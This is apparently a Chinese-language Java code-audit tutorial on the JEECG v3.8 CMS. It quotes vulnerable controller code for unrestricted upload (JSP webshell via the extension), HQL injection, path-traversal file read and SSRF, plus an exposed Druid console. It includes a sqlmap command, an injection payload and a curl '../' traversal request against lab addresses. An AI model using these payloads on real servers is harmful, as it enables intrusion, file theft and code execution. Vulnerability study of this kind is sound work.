JAVA代码审计-cms综合篇

前言

JEECGv3.8。下载地址：GitHub - jeecgboot/jeecg at v3.8

java代码审计第一步：查看web.xml

一个重要的servlet：DispatcherServlet，

<servlet>
		<description>spring mvc servlet</description>
		<servlet-name>springMvc</servlet-name>
		<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
		<init-param>
			<description>spring mvc 配置文件</description>
			<param-name>contextConfigLocation</param-name>
			<param-value>classpath*:spring-mvc.xml</param-value>
		</init-param>
		<load-on-startup>1</load-on-startup>
</servlet>
	
<servlet-mapping>
   <servlet-name>springMvc</servlet-name>
   <url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
		<servlet-name>springMvc</servlet-name>
		<url-pattern>/rest/*</url-pattern>
</servlet-mapping>

匹配规则: *.do或者/rest/* 引用的DispatcherServlet类调用controller处理，在Spring MVC中，访问Controller时使用后缀".do"的做法是一种传统的URL映射方式，通常称为后缀模式(suffix pattern)。使用.do后缀可以帮助区分请求是由Spring MVC处理的，而不是其他框架或者静态资源。这样可以提高代码的可维护性和灵活性，也能更好地组织和管理项目中的请求。此外，使用.do后缀还可以与其他技术栈进行集成和区分。例如，如果项目同时使用了Struts框架，可以将Spring MVC的请求配置为以.do后缀结尾，而将Struts的请求配置为以.action后缀结尾，这样就可以让两个框架共存，各自处理自己的请求。

文件上传漏洞

定位到“org.jeecgframework.web.cgform.controller.upload.CgUploadController”类的“ajaxSaveFile”方法

@Controller
@RequestMapping("/cgUploadController")
public class CgUploadController extends BaseController {
...

@RequestMapping(params = "ajaxSaveFile")
@ResponseBody
public AjaxJson ajaxSaveFile(MultipartHttpServletRequest request) {
   AjaxJson ajaxJson = new AjaxJson();
   Map<String, Object> attributes = new HashMap<String, Object>();
   try {
      Map<String, MultipartFile> fileMap = request.getFileMap();
      String uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
      // 文件数据库保存路径
      String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径
      String realPath = request.getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径
      realPath += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      path += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      File file = new File(realPath);
      if (!file.exists()) {
         file.mkdirs();// 创建文件时间子目录
      }
      if(fileMap != null && !fileMap.isEmpty()){
         for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
            MultipartFile mf = entity.getValue();// 获取上传文件对象
            String fileName = mf.getOriginalFilename();// 获取文件名
            String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名
            String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
            String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称
            String myfilename=noextfilename+"."+extend;//自定义文件名称
            String savePath = realPath + myfilename;// 文件保存全路径
            write2Disk(mf, extend, savePath);
            TSAttachment attachment = new TSAttachment();
            attachment.setId(UUID.randomUUID().toString().replace("-", ""));
            attachment.setAttachmenttitle(fileName.substring(0,fileName.lastIndexOf(".")));
            attachment.setCreatedate(new Timestamp(new Date().getTime()));
            attachment.setExtend(extend);
            attachment.setRealpath(path + myfilename);

            String globalSwfTransformFlag = ResourceUtil.getConfigByName("swf.transform.flag");
            if("true".equals(globalSwfTransformFlag) && !FileUtils.isPicture(extend)){
               attachment.setSwfpath( path + FileUtils.getFilePrefix(myfilename) + ".swf");
               SwfToolsUtil.convert2SWF(savePath);
            }

            systemService.save(attachment);
            attributes.put("url", path + myfilename);
            attributes.put("name", fileName);
            attributes.put("swfpath", attachment.getSwfpath());
            attributes.put("fileid", attachment.getId());

         }
      }
      ajaxJson.setAttributes(attributes);
   } catch (Exception e) {
      e.printStackTrace();
      ajaxJson.setSuccess(false);
      ajaxJson.setMsg(e.getMessage());
   }
   return ajaxJson;
}

重点在于

String extend = FileUtils.getExtend(fileName);// 获取文件扩展名

String myfilename=noextfilename+"."+extend;//自定义文件名称

write2Disk(mf, extend, savePath);

其中mf可控，extend可控，savePath后缀名可控

跟进去 write2Disk(mf, extend, savePath);

private void write2Disk(MultipartFile mf, String extend, String savePath)
      throws IOException, UnsupportedEncodingException, FileNotFoundException {
   File savefile = new File(savePath);
   if("txt".equals(extend)){
      //利用utf-8字符集的固定首行隐藏编码原理
      //Unicode:FF FE   UTF-8:EF BB   
      byte[] allbytes = mf.getBytes();
      try{
         String head1 = toHexString(allbytes[0]);
         String head2 = toHexString(allbytes[1]);
         if("ef".equals(head1) && "bb".equals(head2)){
            //UTF-8
            String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
         }  else {
            //GBK
            String contents = new String(mf.getBytes(),"GBK");
            OutputStream out = new FileOutputStream(savePath);
            out.write(contents.getBytes());
            out.close();
         }
        } catch(Exception e){
           String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
      }
   } else {
      FileCopyUtils.copy(mf.getBytes(), savefile);
   }
}

首先exten的不会是txt故不进入相关语句，而是直接进入 FileCopyUtils.copy(mf.getBytes(), savefile);

漏洞利用：先根据注解，构造路径“/cgUploadController.do?ajaxSaveFile”，然后根据“ajaxSaveFile“方法构造数据包。

发送请求包

访问回显的上传后的地址

现在将问extend改成jsp

sql注入

在“com.jeecg.demo.controller. JeecgFormDemoController类“中的“getAutocompleteData”方法，可以看到SQL语句时拼接而成的，而且也没有对“searchVal”参数进行过滤，造成SQL注入漏洞。

@RequestMapping(params = "getAutocompleteData",method ={RequestMethod.GET, RequestMethod.POST})
public void getAutocompleteData(HttpServletRequest request, HttpServletResponse response) {
   String searchVal = request.getParameter("q");
   String hql = "from TSUser where userName like '%"+searchVal+"%'";
   List autoList = systemService.findHql(hql);
   ........

漏洞利用

sqlmap跑一下(注中like型注入)

python sqlmap.py -u "http://10.34.25.234:8081/jeecgFormDemoController.do?getAutocompleteData&q=1" --cookie="Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698498973,1698843635,1698848203,1698849657; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; JSESSIONID=F6648E2CD353B8129604C8477D1549CA; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698849665" --level=2 --risk=2

q=1%' AND 4758=4758 AND 'nLxc%'='nLxc 【暂未想到更多利用方式】

任意文件读取

在“com.jeecg.demo.controller. JeecgFormDemoController”类下，“getImgByurl”方法。

@RequestMapping("/filedown")
public void getImgByurl(HttpServletResponse response,HttpServletRequest request) throws Exception{
   String dbpath = request.getParameter("filepath");
   if(oConvertUtils.isNotEmpty(dbpath)&&dbpath.endsWith(",")){
      dbpath = dbpath.substring(0, dbpath.length()-1);
   }
   response.setContentType("application/x-msdownload;charset=utf-8");
   String fileType = dbpath.substring(dbpath.lastIndexOf("."));
   String fileName=request.getParameter("filename")+fileType;
   String userAgent = request.getHeader("user-agent").toLowerCase();
   if (userAgent.contains("msie") || userAgent.contains("like gecko") ) {
      fileName = URLEncoder.encode(fileName, "UTF-8");
   }else {  
      fileName = new String(fileName.getBytes("UTF-8"), "iso-8859-1");  
   } 
   response.setHeader("Content-disposition", "attachment; filename="+ fileName);

   InputStream inputStream = null;
   OutputStream outputStream=null;
   try {
      String localPath=ResourceUtil.getConfigByName("webUploadpath");
      String imgurl = localPath+"/"+dbpath;
      inputStream = new BufferedInputStream(new FileInputStream(imgurl));
      outputStream = response.getOutputStream();
      byte[] buf = new byte[1024];
        int len;
        while ((len = inputStream.read(buf)) > 0) {
            outputStream.write(buf, 0, len);
        }
        response.flushBuffer();
   } catch (Exception e) {
      logger.info("--通过流的方式获取文件异常--"+e.getMessage());
   }finally{
      if(inputStream!=null){
         inputStream.close();
      }
      if(outputStream!=null){
         outputStream.close();
      }
   }
}

关键代码在于

String dbpath = request.getParameter("filepath"); String imgurl = localPath+"/"+dbpath; inputStream = new BufferedInputStream(new FileInputStream(imgurl));

路径是拼接的方式

漏洞利用方式

curl -i http://127.0.0.1:8081/jeecgFormDemoController/filedown.do?filepath=../../../test/user.txt -H "Cookie: JSESSIONID=942EC68A6CD4D7188A7E0E30737D7347; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698886034; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698886042"

SSRF漏洞

在“com.jeecg.demo.controller. JeecgFormDemoController”类下，“testInterface”方法。

@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
       AjaxJson j=new AjaxJson();
    try {
       String serverUrl = request.getParameter("serverUrl");//请求的地址
       String requestBody = request.getParameter("requestBody");//请求的参数
       String requestMethod = request.getParameter("requestMethod");//请求的方式
          if(requestMethod.equals("POST")){
             if(requestBody !=""){
                logger.info("----请求接口开始-----");
                JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
                logger.info("----请求接口结束-----"+sendPost);
                j.setSuccess(true);
                j.setObj(sendPost.toJSONString());
             }else{
                j.setSuccess(false);
                j.setObj("请填写请求参数");
             }
             
          }
          if(requestMethod.equals("GET")){
              logger.info("----请求接口开始-----");
              JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
              logger.info("----请求接口结束-----"+sendGet.toJSONString());
              j.setSuccess(true);
              j.setObj(sendGet);
          }
   } catch (Exception e) {
      j.setSuccess(false);
      j.setObj("服务器请求失败");
      e.printStackTrace();
   }
   return j;
}

绕过访问控制漏洞

有接口

<servlet>
   <servlet-name>druidStatView</servlet-name>
   <servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
</servlet>
<servlet-mapping>
   <servlet-name>druidStatView</servlet-name>
   <url-pattern>/webpage/system/druid/*</url-pattern>
</servlet-mapping>

访问接口